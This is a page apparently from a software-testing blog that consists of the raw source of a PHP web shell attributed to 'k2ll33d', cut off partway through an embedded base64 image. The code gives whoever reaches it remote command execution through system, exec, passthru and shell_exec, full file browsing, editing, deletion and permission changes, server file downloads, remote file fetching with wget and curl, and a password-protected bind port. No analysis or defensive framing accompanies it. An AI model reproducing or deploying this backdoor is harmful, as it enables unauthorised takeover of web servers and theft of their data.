Software Testing

x.php

Testing Reflections - Wed, 12/10/2014 - 06:34
<?php // fb/k2ll33d $k2ll33d='// by k2ll33d / fb/k2ll33d
set_time_limit(0);error_reporting(0);
if(isset($_GET["dl"]) && ($_GET["dl"] != "")){$file = $_GET["dl"];$filez = @file_get_contents($file);header("Content-type: application/octet-stream");header("Content-length: ".strlen($filez));header("Content-disposition: attachment;filename='".basename($file)."';");echo $filez;exit;} 
elseif(isset($_GET["dlgzip"]) && ($_GET["dlgzip"] != "")){$file = $_GET['dlgzip'];$filez = gzencode(@file_get_contents($file));header("Content-Type:application/x-gzip\n");header("Content-length: ".strlen($filez));header("Content-disposition: attachment;filename='".basename($file).".gz';");echo $filez;exit;} 
if(isset($_GET["img"])){@ob_clean();$d = magicboom($_GET["y"]);$f = $_GET["img"];$inf = @getimagesize($d.$f);$ext = explode($f,".");$ext = $ext[count($ext)-1];@header("Content-type: ".$inf["mime"]);@header("Cache-control: public");@header("Expires: ".date("r",mktime(0,0,0,1,1,2030)));@header("Cache-control: max-age=".(60*60*24*7));@readfile($d.$f);exit;} $software = getenv("SERVER_SOFTWARE");
if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") $safemode = TRUE;else $safemode = FALSE;$system = @php_uname();if(strtolower(substr($system,0,3)) == "win")
$win = TRUE;else $win = FALSE;if(isset($_GET['y'])){if(@is_dir($_GET['view'])){$pwd = $_GET['view'];@chdir($pwd);} else{$pwd = $_GET['y'];@chdir($pwd);} } 
if(!$win){if(!$user = rapih(exe("whoami")))$user = "";if(!$id = rapih(exe("id"))) $id = "";$prompt = $user." \$ ";$pwd = @getcwd().DIRECTORY_SEPARATOR;} 
else {$user = @get_current_user();$id = $user;$prompt = $user." &gt;";$pwd = realpath(".")."\\";$v = explode("\\",$d);$v = $v[0];foreach (range("A","Z") as $letter) {$bool = @is_dir($letter.":\\");if ($bool){$letters .= "<a href='?y=".$letter.":\\'>[ ";if ($letter.":" != $v){$letters .= $letter;} else {$letters .= "<span class='gaya'>".$letter."</span>";} $letters .= " ]</a> ";}}} 
if(function_exists("posix_getpwuid") && function_exists("posix_getgrgid")) $posix = TRUE;
else $posix = FALSE;$server_ip = @gethostbyname($_SERVER["HTTP_HOST"]);$my_ip = $_SERVER['REMOTE_ADDR'];$bindport = "13123";$bindport_pass = "k2ll33d";$pwds = explode(DIRECTORY_SEPARATOR,$pwd);$pwdurl = "";for($i = 0 ;$i < sizeof($pwds)-1 ;$i++){$pathz = "";for($j = 0 ;$j <= $i ;$j++){$pathz .= $pwds[$j].DIRECTORY_SEPARATOR;} $pwdurl .= "<a href='?y=".$pathz."'>".$pwds[$i]." ".DIRECTORY_SEPARATOR." </a>";} 
if(isset($_POST['rename'])){$old = $_POST['oldname'];$new = $_POST['newname'];@rename($pwd.$old,$pwd.$new);$file = $pwd.$new;}	if(isset($_POST['chmod'])){ 
$name = $_POST['name'];$value = $_POST['newvalue'];if (strlen($value)==3){$value = 0 . "" . $value;}@chmod($pwd.$name,octdec($value));$file = $pwd.$name;}
if(isset($_POST['chmod_folder'])){$name = $_POST['name'];$value = $_POST['newvalue'];if (strlen($value)==3){$value = 0 . "" . $value;}@chmod($pwd.$name,octdec($value));$file = $pwd.$name;} $buff = "&nbsp;".$software."<br>";$buff .= "&nbsp;".$system."<br>";if($id != "") $buff .= "&nbsp;".$id."<br>";if($safemode) $buff .= "&nbsp;safemode :&nbsp;<b><font style='color:#DD4736'>ON</font></b><br>";else $buff .= "&nbsp;safemode :&nbsp;<b><font style='color:#00FF00'>OFF</font></b><br>";
function showstat($stat) {if ($stat=="on") {return "<b><font style='color:#00FF00'>ON</font></b>";}else {return "<b><font style='color:#DD4736'>OFF</font></b>";}}
function testmysql() {if (function_exists('mysql_connect')) {return showstat("on");}else {return showstat("off");}}
function testcurl() {if (function_exists('curl_version')) {return showstat("on");}else {return showstat("off");}}
function testwget() {if (exe('wget --help')) {return showstat("on");}else {return showstat("off");}}
function testperl() {if (exe('perl -h')) {return showstat("on");}else {return showstat("off");}}
$buff .= "&nbsp;MySQL: ".testmysql()."&nbsp;|&nbsp;Perl: ".testperl()."&nbsp;|&nbsp;cURL: ".testcurl()."&nbsp;|&nbsp;WGet: ".testwget()."<br>";
$buff .= "&nbsp;".$letters."&nbsp;&gt;&nbsp;".$pwdurl;
function rapih($text){return trim(str_replace("<br>","",$text));} 
function magicboom($text){if (!get_magic_quotes_gpc()){return $text;} return stripslashes($text);} 
function showdir($pwd,$prompt){$fname = array();$dname = array();
if(function_exists("posix_getpwuid") && function_exists("posix_getgrgid")) 
$posix = TRUE;else $posix = FALSE;$user = "????:????";
if($dh = opendir($pwd)){while($file = readdir($dh)){
if(is_dir($file)){$dname[] = $file;} 
elseif(is_file($file)){$fname[] = $file;}}closedir($dh);} sort($fname);sort($dname);$path = @explode(DIRECTORY_SEPARATOR,$pwd);$tree = @sizeof($path);$parent = "";
$buff = " <form action='?y=".$pwd."&amp;x=shell' method='post' style='margin:8px 0 0 0;'><table class='cmdbox' style='width:50%;'><tr><td>$prompt</td><td><input onMouseOver='this.focus();' id='cmd' class='inputz' type='text' name='cmd' style='width:400px;' value='' /><input class='inputzbut' type='submit' value='Do !' name='submitcmd' style='width:80px;' /></td></tr></form><form action='?' method='get' style='margin:8px 0 0 0;'><input type='hidden' name='y' value='".$pwd."' /><tr><td>view file/folder</td><center><td><input onMouseOver='this.focus();' id='goto' class='inputz' type='text' name='view' style='width:400px;' value='".$pwd."' /><input class='inputzbut' type='submit' value='view !' name='submitcmd' style='width:80px;' /></td></center></tr></form></table><table class='explore'> <tr><th>name</th><th style='width:80px;'>size</th><th style='width:210px;'>owner:group</th><th style='width:80px;'>perms</th><th style='width:110px;'>modified</th><th style='width:190px;'>actions</th></tr> ";
if($tree > 2) 
for($i=0;$i<$tree-2;$i++) $parent .= $path[$i].DIRECTORY_SEPARATOR;
else $parent = $pwd;
foreach($dname as $folder){
if($folder == ".") {
if(!$win && $posix){$name=@posix_getpwuid(@fileowner($folder));$group=@posix_getgrgid(@filegroup($folder));$owner = $name['name']."<span class='gaya'> : </span>".$group['name'];} 
else {$owner = $user;}
$buff .= "<tr><td><a href=\"?y=".$pwd."\">$folder</a></td><td>-</td>
<td style=\"text-align:center;\">".$owner."</td>
<td><center>".get_perms($pwd)."</center></td>
<td style=\"text-align:center;\">".date("d-M-Y H:i",@filemtime($pwd))."</td><td><span id=\"titik1\">
<a href=\"?y=$pwd&amp;edit=".$pwd."newfile.php\">newfile</a> | <a href=\"javascript:tukar('titik1','titik1_form');\">newfolder</a>
</span><form action=\"?\" method=\"get\" id=\"titik1_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\"> 
<input type=\"hidden\" name=\"y\" value=\"".$pwd."\" /> 
<input class=\"inputz\" style=\"width:140px;\" type=\"text\" name=\"mkdir\" value=\"a_new_folder\" /> 
<input class=\"inputzbut\" type=\"submit\" name=\"rename\" style=\"width:35px;\" value=\"Go\" /> 
</form></td></tr> ";} 
elseif($folder == ".."){ 
if(!$win && $posix)
{$name=@posix_getpwuid(@fileowner($folder));$group=@posix_getgrgid(@filegroup($folder));
$owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];} 
else { $owner = $user; } 
$buff .= "<tr><td>
<a href=\"?y=".$parent."\">  $folder</a></td><td>-</td>
<td style=\"text-align:center;\">".$owner."</td>
<td><center>".get_perms($parent)."</center></td> <td style=\"text-align:center;\">".date("d-M-Y H:i",@filemtime($parent))."</td>
<td><span id=\"titik2\"><a href=\"?y=$pwd&amp;edit=".$parent."newfile.php\">newfile</a> | <a href=\"javascript:tukar('titik2','titik2_form');\">newfolder</a></span> 
<form action=\"?\" method=\"get\" id=\"titik2_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\"> 
<input type=\"hidden\" name=\"y\" value=\"".$pwd."\" /> 
<input class=\"inputz\" style=\"width:140px;\" type=\"text\" name=\"mkdir\" value=\"a_new_folder\" /> 
<input class=\"inputzbut\" type=\"submit\" name=\"rename\" style=\"width:35px;\" value=\"Go\" /> 
</form></td></tr>";}else{if(!$win && $posix){ 
$name=@posix_getpwuid(@fileowner($folder)); 
$group=@posix_getgrgid(@filegroup($folder)); 
$owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];} 
else { $owner = $user; }
$buff .= "<tr><td><a id=\"".clearspace($folder)."_link\" href=\"?y=".$pwd.$folder.DIRECTORY_SEPARATOR."\"><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABGdBTUEAALGPC/xhBQAAAAlwSFlzAAAOwgAADsIBFShKgAAAABp0RVh0U29mdHdhcmUAUGFpbnQuTkVUIHYzLjUuMTAw9HKhAAACkUlEQVQ4T8WT2UvUURzFz2NRT5pab9ZDYZNMLjNq6rg1Fqhl5cw8qA+2kJmBgxKUhVpW4y6FZblkaRROpkQLITKG1ERhC5JMuaVmzuQWBD3e27nN0D/QQz/48P1+7znne+/LD/jvn14XtUYXqU+O0kebY2NiLfFxBkuiIcmSnJRiMe5MtexK3W02phjNSYnJZkN8gikmeoeJGRMzRr1OvxZbQzTBZCBUE+oJD4vwcJEnNibOY4hL8HCRJzEh6U/PMzc1d/j2CPc2TaibmSFNiGYT7hT7nbyU579y4dA6WXUsQNacCJR1RYGyoThINpZs8LFe1luD/mi2/ABZedBf2vL8fnSV+JdhohZPJ+sgv16H9NyGXOyGXH4AudLLetfLSh8rZ6Upj/JOMTNRAwfGa9A3Wetb0OlbQPPSffZdXpbZ/11Aj1qgMuPVeIYxG7rGbZAzTZDzHZDfeeOindxjf5M3tkMuMLTEswVqyjNzleEqSGZ74KrEZVcFn1QPMcfN7g4IPlPMN0N8a/IyR9xthJryTDVAuM5Bus6jBaPlKB85xW0XIaYb+bxrkLNXIL5UQxJVxRRfOM0LZnmz8iivyoyWwYaRUhS8LYL4WArxuRJiooq1AuLTGR9nOZd5z5Q2Ro/yqszIaVgxbEXmy8OQbwoh3pdAvrNCvD4KMXwccriAVVFIPR/iQzGhR3lfMMOsCY4chPVb8JPIwVzI5zmQA2aI/
izO7AezOVNzZEMM5VGnR3nJL0cuInErHcH2DHTb0+DszcSrh1lwPjb7sMD5hKj5kQlOpfXRY0+HszsDPZ0Z2IjcMKyuTsXm5jRob+yBtnUftG0HSBa07QqTt7bu92ote6FtToeWmS1HdFj1zz/zb9ZqmlZ866Y6AAAAAElFTkSuQmCC' />  [ $folder ]</a> 
<form action=\"?y=$pwd\" method=\"post\" id=\"".clearspace($folder)."_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\"> 
<input type=\"hidden\" name=\"oldname\" value=\"".$folder."\" style=\"margin:0;padding:0;\" /> 
<input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newname\" value=\"".$folder."\" /> 
<input class=\"inputzbut\" type=\"submit\" name=\"rename\" value=\"rename\" /> 
<input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('".clearspace($folder)."_form','".clearspace($folder)."_link');\" />
</form> </td><td>DIR</td><td style=\"text-align:center;\">".$owner."</td><td><center>
<a href=\"javascript:tukar('".clearspace($folder)."_link','".clearspace($folder)."_form3');\">".get_perms($pwd.$folder)."</a>
<form action=\"?y=$pwd\" method=\"post\" id=\"".clearspace($folder)."_form3\" class=\"sembunyi\" style=\"margin:0;padding:0;\"> 
<input type=\"hidden\" name=\"name\" value=\"".$folder."\" style=\"margin:0;padding:0;\" /> 
<input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newvalue\" value=\"".substr(sprintf('%o', fileperms($pwd.$folder)), -4)."\" /> 
<input class=\"inputzbut\" type=\"submit\" name=\"chmod_folder\" value=\"chmod\" /> 
<input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" 
onclick=\"tukar('".clearspace($folder)."_link','".clearspace($folder)."_form3');\" /></form></center></td><td style=\"text-align:center;\">".date("d-M-Y H:i",@filemtime($folder))."</td><td><a href=\"javascript:tukar('".clearspace($folder)."_link','".clearspace($folder)."_form');\">rename</a>| <a href=\"?y=$pwd&amp;fdelete=".$pwd.$folder."\">delete</a>
</td>
</tr>";}}foreach($fname as $file){ 
$full = $pwd.$file; 
if(!$win && $posix){$name=@posix_getpwuid(@fileowner($file)); $group=@posix_getgrgid(@filegroup($file)); $owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];} 
else { $owner = $user; } 
$buff .= "<tr><td><a id=\"".clearspace($file)."_link\" href=\"?y=$pwd&amp;view=$full\"><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAAAadEVYdFNvZnR3YXJlAFBhaW50Lk5FVCB2My41LjEwMPRyoQAAAXVJREFUOE+NkjtPwlAYhv0DLEZJSDQawQCTcYD/YWIkzqx0cHT1D7C4nMRFSdOWi4uzm9FFXcRBI3KxQGlLoYCAILyekhiRw6UneZKmeb8n79eepaW/43e5XFGfz0csvF4v8Xi2yfrGJllecRIa2xnLMo+OcDis6kYNulEfUdEMZD/KuH1IQ7y6RiQS0eZJAolkig6U/pHJy0i/vOPm/gnlikYl3ExJMJm6hFxWGQpFhUqyKJQqyNFGHMfptMnu5A5UkBrVZqkiLyt4zcrI5It4y8nY2w9ZkrVxSdBaoVozZ6LqtVGDu8dnHB2fgA4HGYHZaGE2TRj1BoqKhlNyxgriiSRan+2FmM0WYrzACiQq6HS7C2l3uhDjiSkC+vKr17OFNE0gSnH0+9+2sLLMRxRECYPBwBaCOEXACyKGw6EteEFiGgTOYzzsnguapSsExu+B4yB0qJYUlf5rcy5WxsrSYcfkdfavOp3RLbebzMPK0EH/7/APv59j7X+gJNIAAAAASUVORK5CYII%3D' />  $file</a> 
<form action=\"?y=$pwd\" method=\"post\" id=\"".clearspace($file)."_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\"> 
<input type=\"hidden\" name=\"oldname\" value=\"".$file."\" style=\"margin:0;padding:0;\" /> 
<input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newname\" value=\"".$file."\" /> 
<input class=\"inputzbut\" type=\"submit\" name=\"rename\" value=\"rename\" /> 
<input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('".clearspace($file)."_link','".clearspace($file)."_form');\" />
</form></td><td>".ukuran($full)."</td><td style=\"text-align:center;\">".$owner."</td><td><center>
<a href=\"javascript:tukar('".clearspace($file)."_link','".clearspace($file)."_form2');\">".get_perms($full)."</a>
<form action=\"?y=$pwd\" method=\"post\" id=\"".clearspace($file)."_form2\" class=\"sembunyi\" style=\"margin:0;padding:0;\"> 
<input type=\"hidden\" name=\"name\" value=\"".$file."\" style=\"margin:0;padding:0;\" /> 
<input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newvalue\" value=\"".substr(sprintf('%o', fileperms($full)), -4)."\" /> 
<input class=\"inputzbut\" type=\"submit\" name=\"chmod\" value=\"chmod\" /> 
<input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('".clearspace($file)."_link','".clearspace($file)."_form2');\" /></form></center></td>
<td style=\"text-align:center;\">".date("d-M-Y H:i",@filemtime($full))."</td> 
<td><a href=\"?y=$pwd&amp;edit=$full\">edit</a> | <a href=\"javascript:tukar('".clearspace($file)."_link','".clearspace($file)."_form');\">rename</a>| <a href=\"?y=$pwd&amp;delete=$full\">delete</a> | <a href=\"?y=$pwd&amp;dl=$full\">download</a>&nbsp;(<a href=\"?y=$pwd&amp;dlgzip=$full\">gz</a>)
</td></tr>";} 
$buff .= "</table>"; return $buff;}
function ukuran($file){if($size = @filesize($file)){if($size <= 1024) return $size;else{if($size <= 1024*1024) {$size = @round($size / 1024,2);;
return "$size kb";} else {$size = @round($size / 1024 / 1024,2);return "$size mb";}}}
else return "???";} function exe($cmd){if(function_exists('system')) {@ob_start();@system($cmd);$buff = @ob_get_contents();$buff = @ob_get_contents();@ob_end_clean();
return $buff;} elseif(function_exists('exec')) {@exec($cmd,$results);$buff = "";foreach($results as $result){$buff .= $result;} return $buff;} 
elseif(function_exists('passthru')){@ob_start();@passthru($cmd);$buff = @ob_get_contents();@ob_end_clean();return $buff;} 
elseif(function_exists('shell_exec')){$buff = @shell_exec($cmd);return $buff;}} function tulis($file,$text){$textz = gzinflate(base64_decode($text));if($filez = @fopen($file,"w")) {@fputs($filez,$textz);@fclose($file);}} 
function ambil($link,$file) {if($fp = @fopen($link,"r")){while(!feof($fp)){$cont.= @fread($fp,1024);}@fclose($fp);$fp2 = @fopen($file,"w");@fwrite($fp2,$cont);@fclose($fp2);} } 
function which($pr){$path = exe("which $pr");
if(!empty($path)) {return trim($path);}
else {return trim($pr);}}
function download($cmd,$url){$namafile = basename($url);
switch($cmd){case 'wwget': exe(which('wget')." ".$url." -O ".$namafile);break;case 'wlynx': exe(which('lynx')." -source ".$url." > ".$namafile);break;case 'wfread' : ambil($wurl,$namafile);break;case 'wfetch' : exe(which('fetch')." -o ".$namafile." -p ".$url);break;case 'wlinks' : exe(which('links')." -source ".$url." > ".$namafile);break;case 'wget' : exe(which('GET')." ".$url." > ".$namafile);break;case 'wcurl' : exe(which('curl')." ".$url." -o ".$namafile);break;default: break;}
return $namafile;}function get_perms($file) {if($mode=@fileperms($file)){$perms='';$perms .= ($mode & 00400) ? 'r' : '-';$perms .= ($mode & 00200) ? 'w' : '-';$perms .= ($mode & 00100) ? 'x' : '-';$perms .= ($mode & 00040) ? 'r' : '-';$perms .= ($mode & 00020) ? 'w' : '-';$perms .= ($mode & 00010) ? 'x' : '-';$perms .= ($mode & 00004) ? 'r' : '-';$perms .= ($mode & 00002) ? 'w' : '-';$perms .= ($mode & 00001) ? 'x' : '-';
return $perms;}else return "??????????";}function clearspace($text){return str_replace(" ","_",$text);}
$tunisia = 'base64,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